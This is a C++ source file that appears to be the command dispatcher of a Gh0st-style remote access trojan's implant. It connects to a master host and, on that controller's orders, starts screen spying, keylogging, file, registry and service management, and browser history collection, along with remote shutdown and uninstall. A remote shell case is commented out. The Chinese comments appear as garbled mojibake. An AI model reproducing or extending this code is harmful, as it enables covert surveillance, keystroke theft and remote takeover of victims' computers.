// KernelManager.cpp: implementation of the CKernelManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "KernelManager.h" #include "Loop.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// char CKernelManager::m_strMasterHost[256] = { 0 }; UINT CKernelManager::m_nMasterPort = 80; CKernelManager::CKernelManager(CClientSocket *pClient, LPCSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient) { if (lpszMasterHost != NULL) strcpy(m_strMasterHost, lpszMasterHost); m_nMasterPort = nMasterPort; m_nThreadCount = 0; } CKernelManager::~CKernelManager() { for (UINT i = 0; i < m_nThreadCount; i++) { TerminateThread(m_hThread[i], -1); CloseHandle(m_hThread[i]); } } void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_LIST_DRIVE: // Îļþ¹ÜÀí m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: // ÆÁÄ»²é¿´ m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_SYSTEM://ϵͳ¹ÜÀí m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_KEYBOARD: //¼üÅ̼Ǽ m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; // case COMMAND_SHELL: // Ô¶³ÌÖÕ¶Ë // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, // (LPVOID)m_pClient->m_Socket, 0, NULL, true); // break; case COMMAND_SERVICE_MANAGER://·þÎñ¹ÜÀí m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServiceManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_REGEDIT://×¢²á±í¹ÜÀí m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_URL_HISTORY://ä¯ÀÀ¼Ç¼ m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_UrlManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_MESSAGEBOX://µ¯´° m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Messagebox, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_CHANGE_GROUP://¸ü¸Ä·Ö×é SetHostID((LPCTSTR)(lpBuffer + 1), TRUE); break; case COMMAND_RENAME_REMARK://¸ü¸Ä±¸×¢ SetHostID((LPCTSTR)(lpBuffer + 1), FALSE); break; case COMMAND_SESSION://»á»°¹ÜÀí ShutdownWindows(lpBuffer[1]); break; case COMMAND_UNINSTALL://Ð¶ÔØÖ÷»ú UninstallService(); break; default: break; } }